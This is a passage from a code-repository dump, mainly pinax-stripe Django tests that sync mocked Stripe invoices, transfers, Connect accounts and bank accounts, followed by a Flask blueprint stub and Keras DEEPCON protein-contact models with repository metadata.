"interval": "month", "interval_count": 1, "livemode": False, "metadata": { }, "name": "The Pro Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, "proration": False, "quantity": 1, "subscription": None, "type": "subscription" }, { "id": "sub_7Q4BX0HMfqTpN9", "object": "line_item", "amount": 0, "currency": "usd", "description": None, "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "plan": { "id": "simple", "object": "plan", "amount": 999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": { }, "name": "The Simple Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, "proration": False, "quantity": 1, "subscription": None, "type": "subscription" }] invoices.sync_invoice_items(invoice, items) self.assertTrue(invoice.items.all().count(), 2) @patch("pinax.stripe.actions.subscriptions.retrieve") def test_sync_invoice_items_updating(self, RetrieveSubscriptionMock): RetrieveSubscriptionMock.return_value = None Plan.objects.create(stripe_id="simple", interval="month", interval_count=1, amount=decimal.Decimal("9.99")) plan = Plan.objects.create(stripe_id="pro2", interval="month", interval_count=1, amount=decimal.Decimal("19.99")) subscription = Subscription.objects.create( stripe_id="sub_7Q4BX0HMfqTpN8", customer=self.customer, plan=plan, quantity=1, status="active", start=timezone.now() ) invoice = Invoice.objects.create( stripe_id="inv_001", customer=self.customer, amount_due=100, period_end=timezone.now(), period_start=timezone.now(), subtotal=100, total=100, date=timezone.now(), subscription=subscription ) items = [{ "id": subscription.stripe_id, "object": "line_item", "amount": 0, "currency": "usd", "description": None, "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "plan": { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": { }, "name": "The Pro Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, "proration": False, "quantity": 1, "subscription": None, "type": "subscription" }, { "id": "sub_7Q4BX0HMfqTpN9", "object": "line_item", "amount": 0, "currency": "usd", "description": None, "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "plan": { "id": "simple", "object": "plan", "amount": 999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": { }, "name": "The Simple Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, "proration": False, "quantity": 1, "subscription": None, "type": "subscription" }] invoices.sync_invoice_items(invoice, items) self.assertEquals(invoice.items.count(), 2) items[1].update({"description": "This is your second subscription"}) invoices.sync_invoice_items(invoice, items) self.assertEquals(invoice.items.count(), 2) self.assertEquals(invoice.items.get(stripe_id="sub_7Q4BX0HMfqTpN9").description, "This is your second subscription") class InvoiceSyncsTests(TestCase): def setUp(self): self.User = get_user_model() self.user = self.User.objects.create_user( username="patrick", email="paltman@example.com" ) self.customer = Customer.objects.create( user=self.user, stripe_id="cus_xxxxxxxxxxxxxxx" ) plan = Plan.objects.create(stripe_id="pro2", interval="month", interval_count=1, amount=decimal.Decimal("19.99")) self.subscription = Subscription.objects.create( stripe_id="sub_7Q4BX0HMfqTpN8", customer=self.customer, plan=plan, quantity=1, status="active", start=timezone.now() ) self.invoice_data = { "id": "in_17B6e8I10iPhvocMGtYd4hDD", "object": "invoice", "amount_due": 1999, "application_fee": None, "attempt_count": 0, "attempted": False, "charge": None, "closed": False, "currency": "usd", "customer": self.customer.stripe_id, "date": 1448470892, "description": None, "discount": None, "ending_balance": None, "forgiven": False, "lines": { "data": [{ "id": self.subscription.stripe_id, "object": "line_item", "amount": 0, "currency": "usd", "description": None, "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "plan": { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": { }, "name": "The Pro Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, "proration": False, "quantity": 1, "subscription": None, "type": "subscription" }], "total_count": 1, "object": "list", "url": "/v1/invoices/in_17B6e8I10iPhvocMGtYd4hDD/lines" }, "livemode": False, "metadata": { }, "next_payment_attempt": 1448474492, "paid": False, "period_end": 1448470739, "period_start": 1448211539, "receipt_number": None, "starting_balance": 0, "statement_descriptor": None, "subscription": self.subscription.stripe_id, "subtotal": 1999, "tax": None, "tax_percent": None, "total": 1999, "webhooks_delivered_at": None } self.account = Account.objects.create(stripe_id="acct_X") @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("stripe.Charge.retrieve") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("pinax.stripe.actions.invoices.sync_invoice_items") @patch("pinax.stripe.actions.subscriptions.retrieve") def test_sync_invoice_from_stripe_data(self, RetrieveSubscriptionMock, SyncInvoiceItemsMock, SyncChargeMock, ChargeFetchMock, SyncSubscriptionMock, SendReceiptMock): charge = Charge.objects.create( stripe_id="ch_XXXXXX", customer=self.customer, source="card_01", amount=decimal.Decimal("10.00"), currency="usd", paid=True, refunded=False, disputed=False ) self.invoice_data["charge"] = charge.stripe_id SyncChargeMock.return_value = charge SyncSubscriptionMock.return_value = self.subscription invoices.sync_invoice_from_stripe_data(self.invoice_data) self.assertTrue(SyncInvoiceItemsMock.called) self.assertEquals(Invoice.objects.filter(customer=self.customer).count(), 1) self.assertTrue(ChargeFetchMock.called) self.assertTrue(SyncChargeMock.called) self.assertTrue(SendReceiptMock.called) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("stripe.Charge.retrieve") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("pinax.stripe.actions.invoices.sync_invoice_items") @patch("pinax.stripe.actions.subscriptions.retrieve") def test_sync_invoice_from_stripe_data_no_send_receipt(self, RetrieveSubscriptionMock, SyncInvoiceItemsMock, SyncChargeMock, ChargeFetchMock, SyncSubscriptionMock, SendReceiptMock): charge = Charge.objects.create( stripe_id="ch_XXXXXX", customer=self.customer, source="card_01", amount=decimal.Decimal("10.00"), currency="usd", paid=True, refunded=False, disputed=False ) self.invoice_data["charge"] = charge.stripe_id SyncChargeMock.return_value = charge SyncSubscriptionMock.return_value = self.subscription invoices.sync_invoice_from_stripe_data(self.invoice_data, send_receipt=False) self.assertTrue(SyncInvoiceItemsMock.called) self.assertEquals(Invoice.objects.filter(customer=self.customer).count(), 1) self.assertTrue(ChargeFetchMock.called) self.assertTrue(SyncChargeMock.called) self.assertFalse(SendReceiptMock.called) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("stripe.Charge.retrieve") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("pinax.stripe.actions.invoices.sync_invoice_items") @patch("pinax.stripe.actions.subscriptions.retrieve") def test_sync_invoice_from_stripe_data_connect(self, RetrieveSubscriptionMock, SyncInvoiceItemsMock, SyncChargeMock, ChargeFetchMock, SyncSubscriptionMock, SendReceiptMock): self.invoice_data["charge"] = "ch_XXXXXX" self.customer.stripe_account = self.account self.customer.save() charge = Charge.objects.create( stripe_id="ch_XXXXXX", customer=self.customer, source="card_01", amount=decimal.Decimal("10.00"), currency="usd", paid=True, refunded=False, disputed=False ) SyncChargeMock.return_value = charge SyncSubscriptionMock.return_value = self.subscription invoices.sync_invoice_from_stripe_data(self.invoice_data) self.assertTrue(SyncInvoiceItemsMock.called) self.assertEquals(Invoice.objects.filter(customer=self.customer).count(), 1) self.assertTrue(ChargeFetchMock.called) args, kwargs = ChargeFetchMock.call_args self.assertEquals(args, ("ch_XXXXXX",)) self.assertEquals(kwargs, {"stripe_account": "acct_X", "expand": ["balance_transaction"]}) self.assertTrue(SyncChargeMock.called) self.assertTrue(SendReceiptMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("pinax.stripe.actions.invoices.sync_invoice_items") @patch("pinax.stripe.actions.subscriptions.retrieve") def test_sync_invoice_from_stripe_data_no_charge(self, RetrieveSubscriptionMock, SyncInvoiceItemsMock, SyncSubscriptionMock): SyncSubscriptionMock.return_value = self.subscription self.invoice_data["charge"] = None invoices.sync_invoice_from_stripe_data(self.invoice_data) self.assertTrue(SyncInvoiceItemsMock.called) self.assertEquals(Invoice.objects.filter(customer=self.customer).count(), 1) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("pinax.stripe.actions.invoices.sync_invoice_items") @patch("pinax.stripe.actions.subscriptions.retrieve") def test_sync_invoice_from_stripe_data_no_subscription(self, RetrieveSubscriptionMock, SyncInvoiceItemsMock, SyncSubscriptionMock): SyncSubscriptionMock.return_value = None data = { "id": "in_17B6e8I10iPhvocMGtYd4hDD", "object": "invoice", "amount_due": 1999, "application_fee": None, "attempt_count": 0, "attempted": False, "charge": None, "closed": False, "currency": "usd", "customer": self.customer.stripe_id, "date": 1448470892, "description": None, "discount": None, "ending_balance": None, "forgiven": False, "lines": { "data": [{ "id": "ii_2342342", "object": "line_item", "amount": 2000, "currency": "usd", "description": None, "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "proration": False, "quantity": 1, "subscription": None, "type": "line_item" }], "total_count": 1, "object": "list", "url": "/v1/invoices/in_17B6e8I10iPhvocMGtYd4hDD/lines" }, "livemode": False, "metadata": { }, "next_payment_attempt": 1448474492, "paid": False, "period_end": 1448470739, "period_start": 1448211539, "receipt_number": None, "starting_balance": 0, "statement_descriptor": None, "subscription": "", "subtotal": 2000, "tax": None, "tax_percent": None, "total": 2000, "webhooks_delivered_at": None } invoices.sync_invoice_from_stripe_data(data) self.assertTrue(SyncInvoiceItemsMock.called) self.assertEquals(Invoice.objects.filter(customer=self.customer).count(), 1) self.assertIsNone(Invoice.objects.filter(customer=self.customer)[0].subscription) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("pinax.stripe.actions.invoices.sync_invoice_items") @patch("pinax.stripe.actions.subscriptions.retrieve") def test_sync_invoice_from_stripe_data_updated(self, RetrieveSubscriptionMock, SyncInvoiceItemsMock, SyncSubscriptionMock): SyncSubscriptionMock.return_value = self.subscription data = self.invoice_data invoices.sync_invoice_from_stripe_data(data) self.assertTrue(SyncInvoiceItemsMock.called) self.assertEquals(Invoice.objects.filter(customer=self.customer).count(), 1) data.update({"paid": True}) invoices.sync_invoice_from_stripe_data(data) self.assertEquals(Invoice.objects.filter(customer=self.customer).count(), 1) self.assertEquals(Invoice.objects.filter(customer=self.customer)[0].paid, True) class TransfersTests(TestCase): def setUp(self): self.data = { "id": "tr_17BE31I10iPhvocMDwiBi4Pk", "object": "transfer", "amount": 1100, "amount_reversed": 0, "application_fee": None, "balance_transaction": "txn_179l3zI10iPhvocMhvKxAer7", "created": 1448499343, "currency": "usd", "date": 1448499343, "description": "Transfer to test@example.com", "destination": "ba_17BE31I10iPhvocMOUp6E9If", "failure_code": None, "failure_message": None, "livemode": False, "metadata": { }, "recipient": "rp_17BE31I10iPhvocM14ZKPFfR", "reversals": { "object": "list", "data": [ ], "has_more": False, "total_count": 0, "url": "/v1/transfers/tr_17BE31I10iPhvocMDwiBi4Pk/reversals" }, "reversed": False, "source_transaction": None, "statement_descriptor": None, "status": "in_transit", "type": "bank_account" } self.event = Event.objects.create( stripe_id="evt_001", kind="transfer.paid", webhook_message={"data": {"object": self.data}}, validated_message={"data": {"object": self.data}}, valid=True, processed=False ) def test_sync_transfer(self): transfers.sync_transfer(self.data, self.event) qs = Transfer.objects.filter(stripe_id=self.event.message["data"]["object"]["id"]) self.assertEquals(qs.count(), 1) self.assertEquals(qs[0].event, self.event) def test_sync_transfer_update(self): transfers.sync_transfer(self.data, self.event) qs = Transfer.objects.filter(stripe_id=self.event.message["data"]["object"]["id"]) self.assertEquals(qs.count(), 1) self.assertEquals(qs[0].event, self.event) self.event.validated_message["data"]["object"]["status"] = "paid" transfers.sync_transfer(self.event.message["data"]["object"], self.event) qs = Transfer.objects.filter(stripe_id=self.event.message["data"]["object"]["id"]) self.assertEquals(qs[0].status, "paid") def test_transfer_during(self): Transfer.objects.create( stripe_id="tr_002", event=Event.objects.create(kind="transfer.created", webhook_message={}), amount=decimal.Decimal("100"), status="pending", date=timezone.now().replace(year=2015, month=1) ) qs = transfers.during(2015, 1) self.assertEquals(qs.count(), 1) @patch("stripe.Transfer.retrieve") def test_transfer_update_status(self, RetrieveMock): RetrieveMock().status = "complete" transfer = Transfer.objects.create( stripe_id="tr_001", event=Event.objects.create(kind="transfer.created", webhook_message={}), amount=decimal.Decimal("100"), status="pending", date=timezone.now().replace(year=2015, month=1) ) transfers.update_status(transfer) self.assertEquals(transfer.status, "complete") @patch("stripe.Transfer.create") def test_transfer_create(self, CreateMock): CreateMock.return_value = self.data transfers.create(decimal.Decimal("100"), "usd", None, None) self.assertTrue(CreateMock.called) @patch("stripe.Transfer.create") def test_transfer_create_with_transfer_group(self, CreateMock): CreateMock.return_value = self.data transfers.create(decimal.Decimal("100"), "usd", None, None, transfer_group="foo") _, kwargs = CreateMock.call_args self.assertEquals(kwargs["transfer_group"], "foo") @patch("stripe.Transfer.create") def test_transfer_create_with_stripe_account(self, CreateMock): CreateMock.return_value = self.data transfers.create(decimal.Decimal("100"), "usd", None, None, stripe_account="foo") _, kwargs = CreateMock.call_args self.assertEquals(kwargs["stripe_account"], "foo") class AccountsSyncTestCase(TestCase): @classmethod def setUpClass(cls): super(AccountsSyncTestCase, cls).setUpClass() cls.custom_account_data = json.loads( """{ "type":"custom", "tos_acceptance":{ "date":1490903452, "ip":"123.107.1.28", "user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" }, "business_logo":null, "email":"operations@someurl.com", "timezone":"Etc/UTC", "statement_descriptor":"SOME COMP", "default_currency":"cad", "payout_schedule":{ "delay_days":3, "interval":"manual" }, "display_name":"Some Company", "payout_statement_descriptor": "For reals", "id":"acct_1A39IGDwqdd5icDO", "payouts_enabled":true, "external_accounts":{ "has_more":false, "total_count":1, "object":"list", "data":[ { "routing_number":"11000-000", "bank_name":"SOME CREDIT UNION", "account":"acct_1A39IGDwqdd5icDO", "object":"bank_account", "currency":"cad", "country":"CA", "account_holder_name":"Luke Burden", "last4":"6789", "status":"new", "fingerprint":"bZJnuqqS4qIX0SX0", "account_holder_type":"individual", "default_for_currency":true, "id":"ba_1A39IGDwqdd5icDOn9VrFXlQ", "metadata":{} } ], "url":"/v1/accounts/acct_1A39IGDwqdd5icDO/external_accounts" }, "support_email":"support@someurl.com", "metadata":{ "user_id":"9428" }, "support_phone":"7788188181", "business_name":"Woop Woop", "object":"account", "charges_enabled":true, "business_name":"Woop Woop", "debit_negative_balances":false, "country":"CA", "decline_charge_on":{ "avs_failure":true, "cvc_failure":true }, "product_description":"Monkey Magic", "legal_entity":{ "personal_id_number_provided":false, "first_name":"Luke", "last_name":"Baaard", "dob":{ "month":2, "day":3, "year":1999 }, "personal_address":{ "city":null, "country":"CA", "line2":null, "line1":null, "state":null, "postal_code":null }, "business_tax_id_provided":false, "verification":{ "status":"unverified", "details_code":"failed_keyed_identity", "document":null, "details":"Provided identity information could not be verified" }, "address":{ "city":"Vancouver", "country":"CA", "line2":null, "line1":"14 Alberta St", "state":"BC", "postal_code":"V5Y4Z2" }, "business_name":null, "type":"individual" }, "details_submitted":true, "verification":{ "due_by":null, "fields_needed":[ "legal_entity.personal_id_number" ], "disabled_reason":null } }""") cls.custom_account_data_no_dob_no_verification_no_tosacceptance = json.loads( """{ "type":"custom", "tos_acceptance":{ "date":null, "ip":"123.107.1.28", "user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" }, "business_logo":null, "email":"operations@someurl.com", "timezone":"Etc/UTC", "statement_descriptor":"SOME COMP", "default_currency":"cad", "payout_schedule":{ "delay_days":3, "interval":"manual" }, "display_name":"Some Company", "payout_statement_descriptor": "For reals", "id":"acct_1A39IGDwqdd5icDO", "payouts_enabled":true, "external_accounts":{ "has_more":false, "total_count":1, "object":"list", "data":[ { "routing_number":"11000-000", "bank_name":"SOME CREDIT UNION", "account":"acct_1A39IGDwqdd5icDO", "object":"other", "currency":"cad", "country":"CA", "account_holder_name":"Luke Burden", "last4":"6789", "status":"new", "fingerprint":"bZJnuqqS4qIX0SX0", "account_holder_type":"individual", "default_for_currency":true, "id":"ba_1A39IGDwqdd5icDOn9VrFXlQ", "metadata":{} } ], "url":"/v1/accounts/acct_1A39IGDwqdd5icDO/external_accounts" }, "support_email":"support@someurl.com", "metadata":{ "user_id":"9428" }, "support_phone":"7788188181", "business_name":"Woop Woop", "object":"account", "charges_enabled":true, "business_name":"Woop Woop", "debit_negative_balances":false, "country":"CA", "decline_charge_on":{ "avs_failure":true, "cvc_failure":true }, "product_description":"Monkey Magic", "legal_entity":{ "dob": null, "verification": null, "personal_id_number_provided":false, "first_name":"Luke", "last_name":"Baaard", "personal_address":{ "city":null, "country":"CA", "line2":null, "line1":null, "state":null, "postal_code":null }, "business_tax_id_provided":false, "address":{ "city":"Vancouver", "country":"CA", "line2":null, "line1":"14 Alberta St", "state":"BC", "postal_code":"V5Y4Z2" }, "business_name":null, "type":"individual" }, "details_submitted":true, "verification":{ "due_by":null, "fields_needed":[ "legal_entity.personal_id_number" ], "disabled_reason":null } }""") cls.not_custom_account_data = json.loads( """{ "business_logo":null, "business_name":"Woop Woop", "business_url":"https://www.someurl.com", "charges_enabled":true, "country":"CA", "default_currency":"cad", "details_submitted":true, "display_name":"Some Company", "email":"operations@someurl.com", "id":"acct_102t2K2m3chDH8uL", "object":"account", "payouts_enabled": true, "statement_descriptor":"SOME COMP", "support_address": { "city": null, "country": "DE", "line1": null, "line2": null, "postal_code": null, "state": null }, "support_email":"support@someurl.com", "support_phone":"7788188181", "support_url":"https://support.someurl.com", "timezone":"Etc/UTC", "type":"standard" }""") def assert_common_attributes(self, account): self.assertEqual(account.support_phone, "7788188181") self.assertEqual(account.business_name, "Woop Woop") self.assertEqual(account.country, "CA") self.assertEqual(account.charges_enabled, True) self.assertEqual(account.support_email, "support@someurl.com") self.assertEqual(account.details_submitted, True) self.assertEqual(account.email, "operations@someurl.com") self.assertEqual(account.timezone, "Etc/UTC") self.assertEqual(account.display_name, "Some Company") self.assertEqual(account.statement_descriptor, "SOME COMP") self.assertEqual(account.default_currency, "cad") def assert_custom_attributes(self, account, dob=None, verification=None, acceptance_date=None, bank_accounts=0): # extra top level attributes self.assertEqual(account.debit_negative_balances, False) self.assertEqual(account.product_description, "Monkey Magic") self.assertEqual(account.metadata, {"user_id": "9428"}) self.assertEqual(account.payout_statement_descriptor, "For reals") # legal entity self.assertEqual(account.legal_entity_address_city, "Vancouver") self.assertEqual(account.legal_entity_address_country, "CA") self.assertEqual(account.legal_entity_address_line1, "14 Alberta St") self.assertEqual(account.legal_entity_address_line2, None) self.assertEqual(account.legal_entity_address_postal_code, "V5Y4Z2") self.assertEqual(account.legal_entity_address_state, "BC") self.assertEqual(account.legal_entity_dob, dob) self.assertEqual(account.legal_entity_type, "individual") self.assertEqual(account.legal_entity_first_name, "Luke") self.assertEqual(account.legal_entity_last_name, "Baaard") self.assertEqual(account.legal_entity_personal_id_number_provided, False) # verification if verification is not None: self.assertEqual( account.legal_entity_verification_details, "Provided identity information could not be verified" ) self.assertEqual( account.legal_entity_verification_details_code, "failed_keyed_identity" ) self.assertEqual(account.legal_entity_verification_document, None) self.assertEqual(account.legal_entity_verification_status, "unverified") self.assertEqual( account.tos_acceptance_date, acceptance_date ) self.assertEqual(account.tos_acceptance_ip, "123.107.1.28") self.assertEqual( account.tos_acceptance_user_agent, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" ) # decline charge on certain conditions self.assertEqual(account.decline_charge_on_avs_failure, True) self.assertEqual(account.decline_charge_on_cvc_failure, True) # Payout schedule self.assertEqual(account.payout_schedule_interval, "manual") self.assertEqual(account.payout_schedule_delay_days, 3) self.assertEqual(account.payout_schedule_weekly_anchor, None) self.assertEqual(account.payout_schedule_monthly_anchor, None) # verification status, key to progressing account setup self.assertEqual(account.verification_disabled_reason, None) self.assertEqual(account.verification_due_by, None) self.assertEqual( account.verification_fields_needed, [ "legal_entity.personal_id_number" ] ) # external accounts should be sync'd - leave the detail check to # its own test self.assertEqual( account.bank_accounts.all().count(), bank_accounts ) def test_sync_custom_account(self): User = get_user_model() user = User.objects.create_user( username="snuffle", email="upagus@test" ) account = accounts.sync_account_from_stripe_data( self.custom_account_data, user=user ) self.assertEqual(account.type, "custom") self.assert_common_attributes(account) self.assert_custom_attributes( account, dob=datetime.date(1999, 2, 3), verification="full", acceptance_date=datetime.datetime(2017, 3, 30, 19, 50, 52), bank_accounts=1 ) @patch("pinax.stripe.actions.externalaccounts.sync_bank_account_from_stripe_data") def test_sync_custom_account_no_dob_no_verification(self, SyncMock): User = get_user_model() user = User.objects.create_user( username="snuffle", email="upagus@test" ) account = accounts.sync_account_from_stripe_data( self.custom_account_data_no_dob_no_verification_no_tosacceptance, user=user ) self.assertEqual(account.type, "custom") self.assert_common_attributes(account) self.assert_custom_attributes(account) self.assertFalse(SyncMock.called) def test_sync_not_custom_account(self): account = accounts.sync_account_from_stripe_data( self.not_custom_account_data ) self.assertNotEqual(account.type, "custom") self.assert_common_attributes(account) def test_deauthorize_account(self): account = accounts.sync_account_from_stripe_data( self.not_custom_account_data ) accounts.deauthorize(account) self.assertFalse(account.authorized) class BankAccountsSyncTestCase(TestCase): def setUp(self): self.data = json.loads( """{ "id": "ba_19VZfo2m3chDH8uLo0r6WCia", "object": "bank_account", "account": "acct_102t2K2m3chDH8uL", "account_holder_name": "Jane Austen", "account_holder_type": "individual", "bank_name": "STRIPE TEST BANK", "country": "US", "currency": "cad", "default_for_currency": false, "fingerprint": "ObHHcvjOGrhaeWhC", "last4": "6789", "metadata": { }, "routing_number": "110000000", "status": "new" } """) def test_sync(self): User = get_user_model() user = User.objects.create_user( username="snuffle", email="upagus@test" ) account = Account.objects.create( stripe_id="acct_102t2K2m3chDH8uL", type="custom", user=user ) bankaccount = externalaccounts.sync_bank_account_from_stripe_data( self.data ) self.assertEqual(bankaccount.account_holder_name, "Jane Austen") self.assertEqual(bankaccount.account, account) @patch("pinax.stripe.actions.externalaccounts.sync_bank_account_from_stripe_data") def test_create_bank_account(self, SyncMock): account = Mock() externalaccounts.create_bank_account(account, 123455, "US", "usd") self.assertTrue(account.external_accounts.create.called) self.assertTrue(SyncMock.called)

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app/student/__init__.py

mecforlove/oj-web

3bec42e77666c6ab1d299d8c432016f7f1cd1cac

[ "Apache-2.0" ]

null

app/student/__init__.py

mecforlove/oj-web

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null

app/student/__init__.py

mecforlove/oj-web

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[ "Apache-2.0" ]

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#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author: mec from flask import Blueprint students = Blueprint('students', __name__) from views import show_problems

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py

Python

models.py

ba-lab/PDNET

d1547a334ee6e48526afcb4e0a4f698a04888ac5

[ "Apache-2.0" ]

28

2020-04-29T07:33:06.000Z

2021-09-22T05:39:06.000Z

models.py

ba-lab/PDNET

d1547a334ee6e48526afcb4e0a4f698a04888ac5

[ "Apache-2.0" ]

1

2021-11-12T15:12:38.000Z

2021-11-12T19:38:00.000Z

models.py

ba-lab/PDNET

d1547a334ee6e48526afcb4e0a4f698a04888ac5

[ "Apache-2.0" ]

13

2020-05-03T04:38:35.000Z

2021-09-22T05:39:09.000Z

''' Author: Badri Adhikari, University of Missouri-St. Louis, 12-18-2019 File: Contains tensorflow models for the DEEPCON architecture ''' import tensorflow as tf from tensorflow.python.keras import layers from tensorflow.python.keras.layers import Input, Convolution2D, Activation, add, Dropout, BatchNormalization from tensorflow.python.keras.models import Model # A basic fully convolutional network def basic_fcn(L, num_blocks, width, expected_n_channels): input_shape = (L, L, expected_n_channels) img_input = layers.Input(shape = input_shape) x = img_input for i in range(num_blocks): x = layers.Conv2D(width, (3, 3), padding = 'same')(x) x = layers.BatchNormalization()(x) x = layers.Activation('relu')(x) x = layers.Conv2D(1, (3, 3), padding = 'same', kernel_initializer = 'one')(x) x = layers.Activation('relu')(x) inputs = img_input model = tf.keras.models.Model(inputs, x, name = 'fcn') return model # Architecture DEEPCON (original) def deepcon_rdd(L, num_blocks, width, expected_n_channels): print('') print('Model params:') print('L', L) print('num_blocks', num_blocks) print('width', width) print('expected_n_channels', expected_n_channels) print('') dropout_value = 0.3 my_input = Input(shape = (L, L, expected_n_channels)) tower = BatchNormalization()(my_input) tower = Activation('relu')(tower) tower = Convolution2D(width, 1, padding = 'same')(tower) n_channels = width d_rate = 1 for i in range(num_blocks): block = BatchNormalization()(tower) block = Activation('relu')(block) block = Convolution2D(n_channels, kernel_size = (3, 3), padding = 'same')(block) block = Dropout(dropout_value)(block) block = Activation('relu')(block) block = Convolution2D(n_channels, kernel_size = (3, 3), dilation_rate=(d_rate, d_rate), padding = 'same')(block) tower = add([block, tower]) if d_rate == 1: d_rate = 2 elif d_rate == 2: d_rate = 4 else: d_rate = 1 tower = BatchNormalization()(tower) tower = Activation('relu')(tower) tower = Convolution2D(1, 3, padding = 'same')(tower) tower = Activation('sigmoid')(tower) model = Model(my_input, tower) return model # Architecture DEEPCON (distances) def deepcon_rdd_distances(L, num_blocks, width, expected_n_channels): print('') print('Model params:') print('L', L) print('num_blocks', num_blocks) print('width', width) print('expected_n_channels', expected_n_channels) print('') dropout_value = 0.3 my_input = Input(shape = (L, L, expected_n_channels)) tower = BatchNormalization()(my_input) tower = Activation('relu')(tower) tower = Convolution2D(width, 1, padding = 'same')(tower) n_channels = width d_rate = 1 for i in range(num_blocks): block = BatchNormalization()(tower) block = Activation('relu')(block) block = Convolution2D(n_channels, kernel_size = (3, 3), padding = 'same')(block) block = Dropout(dropout_value)(block) block = Activation('relu')(block) block = Convolution2D(n_channels, kernel_size = (3, 3), dilation_rate=(d_rate, d_rate), padding = 'same')(block) tower = add([block, tower]) if d_rate == 1: d_rate = 2 elif d_rate == 2: d_rate = 4 else: d_rate = 1 tower = BatchNormalization()(tower) tower = Activation('relu')(tower) tower = Convolution2D(1, 3, padding = 'same')(tower) tower = Activation('relu')(tower) model = Model(my_input, tower) return model # Architecture DEEPCON (binned) def deepcon_rdd_binned(L, num_blocks, width, bins, expected_n_channels): print('') print('Model params:') print('L', L) print('num_blocks', num_blocks) print('width', width) print('expected_n_channels', expected_n_channels) print('') dropout_value = 0.3 my_input = Input(shape = (L, L, expected_n_channels)) tower = BatchNormalization()(my_input) tower = Activation('relu')(tower) tower = Convolution2D(width, 1, padding = 'same')(tower) n_channels = width d_rate = 1 for i in range(num_blocks): block = BatchNormalization()(tower) block = Activation('relu')(block) block = Convolution2D(n_channels, kernel_size = (3, 3), padding = 'same')(block) block = Dropout(dropout_value)(block) block = Activation('relu')(block) block = Convolution2D(n_channels, kernel_size = (3, 3), dilation_rate=(d_rate, d_rate), padding = 'same')(block) tower = add([block, tower]) if d_rate == 1: d_rate = 2 elif d_rate == 2: d_rate = 4 else: d_rate = 1 tower = BatchNormalization()(tower) tower = Activation('relu')(tower) tower = Convolution2D(bins, 3, padding = 'same')(tower) tower = Activation('softmax')(tower) model = Model(my_input, tower) return model

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Python

stacks/XIAOMATECH/1.0/services/OZONE/package/scripts/scm.py

tvorogme/dataops

acfa21df42a20768c004c6630a064f4e38e280b2

[ "Apache-2.0" ]

3

2019-08-13T01:44:16.000Z

2019-12-10T04:05:56.000Z

stacks/XIAOMATECH/1.0/services/OZONE/package/scripts/scm.py

tvorogme/dataops

acfa21df42a20768c004c6630a064f4e38e280b2

[ "Apache-2.0" ]

null

stacks/XIAOMATECH/1.0/services/OZONE/package/scripts/scm.py

tvorogme/dataops

acfa21df42a20768c004c6630a064f4e38e280b2

[ "Apache-2.0" ]

7

2019-05-29T17:35:25.000Z

2021-12-04T07:55:10.000Z

from resource_management.libraries.script.script import Script from resource_management.core.resources.system import Execute from resource_management.libraries.functions.check_process_status import check_process_status import utils

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py

Python

tatk/dst/__init__.py

libing125/tatk

1473a162cf45a4a40a60473169bc034234412b2e

[ "Apache-2.0" ]

81

2019-03-12T13:40:29.000Z

2022-01-17T10:59:21.000Z

tatk/dst/__init__.py

zqwerty/tatk

fafabc45d02ad889f59354acac4e3b1367e7d4bf

[ "Apache-2.0" ]

35

2019-03-13T14:05:05.000Z

2021-08-25T15:38:14.000Z

tatk/dst/__init__.py

zqwerty/tatk

fafabc45d02ad889f59354acac4e3b1367e7d4bf

[ "Apache-2.0" ]

41

2019-03-13T09:40:24.000Z

2022-03-07T17:59:07.000Z

from tatk.dst.dst import DST

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714ba8119e1c6114588f3d07f3a79c67ae838357

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py

Python

pyNastran/dev/h5/geometry/h5_elements_2d.py

luzpaz/pyNastran

939e9eefdc87a3bf67939a23dc09f155b93969a0

[ "BSD-3-Clause" ]

293

2015-03-22T20:22:01.000Z

2022-03-14T20:28:24.000Z

pyNastran/dev/h5/geometry/h5_elements_2d.py

luzpaz/pyNastran

939e9eefdc87a3bf67939a23dc09f155b93969a0

[ "BSD-3-Clause" ]

512

2015-03-14T18:39:27.000Z

2022-03-31T16:15:43.000Z

pyNastran/dev/h5/geometry/h5_elements_2d.py

luzpaz/pyNastran

939e9eefdc87a3bf67939a23dc09f155b93969a0

[ "BSD-3-Clause" ]

136

2015-03-19T03:26:06.000Z

2022-03-25T22:14:54.000Z

